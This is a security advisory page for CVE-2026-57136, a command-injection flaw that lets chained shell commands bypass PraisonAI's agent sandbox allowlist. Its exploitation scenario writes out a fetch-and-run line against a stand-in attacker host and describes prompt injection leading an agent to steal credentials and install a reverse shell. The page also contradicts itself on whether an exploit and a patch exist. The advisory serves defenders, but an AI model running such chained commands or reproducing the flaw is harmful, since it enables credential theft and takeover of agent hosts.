CVE-2026-57136: PraisonAI: command injection bypasses sandbox allowlist
HIGHPoC AVAILABLECISA: ATTENDPraisonAI's TypeScript sandbox executor only checks the first executable of a command against its allowlist, then hands the entire string to `sh -c`, so anything appended with shell metacharacters (`;`, `&&`, `|`, `$()`) runs with the full privileges of the PraisonAI process. This silently defeats the one control teams rely on to contain what an AI agent can run. Exploitation likelihood is currently low to moderate (EPSS 0.55%, 56th percentile), with no public exploit, no Nuclei template and no CISA KEV listing, and CISA SSVC rates it ATTEND. The low-privilege, network-reachable, no-interaction profile (CVSS 8.8) makes it an easy win for anyone who can submit input to an agent, including through prompt injection. Upgrade to 1.7.2 or later, and until then treat any agent using the sandbox executor as unsandboxed.
What is the risk?
High severity (CVSS 8.8) with a low-complexity, network-reachable attack that needs only low privileges and no user interaction. Real-world exploitation likelihood is moderate: EPSS is 0.00547 (56th percentile), there is no public exploit, no scanner template, and no KEV listing. SSVC is ATTEND, so it should be handled promptly but not as an emergency. The main amplifier is that the flaw sits in a control meant to make agent-driven command execution safe. Operators may therefore have granted the agent broader reach than they would have without a perceived sandbox. Blast radius is limited to deployments that use the TypeScript CLI sandbox executor, and downstream dependent counts are unknown.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | — | No patch |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade PraisonAI to 1.7.2 or later (see the GHSA-vjv9-7m7j-h833 advisory and commit 709a038). 2) Until patched, disable or avoid the sandbox executor feature, or run PraisonAI inside a container or VM with no host mounts, a read-only filesystem, dropped capabilities and egress filtering. 3) Run the agent process as an unprivileged account with minimal credentials, and keep secrets out of its environment. 4) Restrict who can submit tasks or prompts to agents, and require human approval for shell tool calls. 5) Detect abuse by monitoring for
sh -cchild processes of the PraisonAI/Node process that contain;,&&,||,|, backticks or$(, and for unexpected outbound connections from agent hosts. 6) Inventory repositories and images for praisonai versions in the affected range and rotate any credentials that were reachable from exposed instances.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-57136?
PraisonAI's TypeScript sandbox executor only checks the first executable of a command against its allowlist, then hands the entire string to `sh -c`, so anything appended with shell metacharacters (`;`, `&&`, `|`, `$()`) runs with the full privileges of the PraisonAI process. This silently defeats the one control teams rely on to contain what an AI agent can run. Exploitation likelihood is currently low to moderate (EPSS 0.55%, 56th percentile), with no public exploit, no Nuclei template and no CISA KEV listing, and CISA SSVC rates it ATTEND. The low-privilege, network-reachable, no-interaction profile (CVSS 8.8) makes it an easy win for anyone who can submit input to an agent, including through prompt injection. Upgrade to 1.7.2 or later, and until then treat any agent using the sandbox executor as unsandboxed.
Is CVE-2026-57136 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-57136, increasing the risk of exploitation.
How to fix CVE-2026-57136?
1) Upgrade PraisonAI to 1.7.2 or later (see the GHSA-vjv9-7m7j-h833 advisory and commit 709a038). 2) Until patched, disable or avoid the sandbox executor feature, or run PraisonAI inside a container or VM with no host mounts, a read-only filesystem, dropped capabilities and egress filtering. 3) Run the agent process as an unprivileged account with minimal credentials, and keep secrets out of its environment. 4) Restrict who can submit tasks or prompts to agents, and require human approval for shell tool calls. 5) Detect abuse by monitoring for `sh -c` child processes of the PraisonAI/Node process that contain `;`, `&&`, `||`, `|`, backticks or `$(`, and for unexpected outbound connections from agent hosts. 6) Inventory repositories and images for praisonai versions in the affected range and rotate any credentials that were reachable from exposed instances.
What systems are affected by CVE-2026-57136?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-agent orchestration, agent tool execution sandboxes, CLI-based AI developer tooling.
What is the CVSS score for CVE-2026-57136?
CVE-2026-57136 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.55%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049Exploit Public-Facing ApplicationAML.T0050Command and Scripting InterpreterAML.T0053AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
PraisonAI is a multi-agent teams system. From 1.2.3 until 1.7.2, CommandValidator in src/praisonai-ts/src/cli/features/sandbox-executor.ts validates only the first whitespace-delimited executable against allowedCommands, then SandboxExecutor passes the complete command string to sh -c. A command beginning with an allowed executable can append a non-allowlisted command through shell metacharacters, causing arbitrary commands to run with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
Exploitation Scenario
An attacker with low-privilege access to an application built on PraisonAI, or the ability to place content an agent will process, causes the agent to run a command such as `ls; curl https://attacker.example/x.sh | sh`. The validator sees only `ls`, which is on the allowlist, and approves it, while `sh -c` executes the entire string. The injected payload then reads the process environment for LLM API keys and cloud credentials, sends them to the attacker, and drops a persistent backdoor or reverse shell on the agent host. From there the attacker pivots to connected data stores and internal services.
Weaknesses (CWE)
CWE-693Protection Mechanism FailurePrimaryCWE-78Improper Neutralization of Special Elements used in an OS CommandPrimaryCWE-863Incorrect AuthorizationPrimaryCWE-693Protection Mechanism FailureCWE-78Improper Neutralization of Special Elements used in an OS CommandCWE-863Incorrect AuthorizationCWE-693 — Protection Mechanism Failure: The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
Timeline
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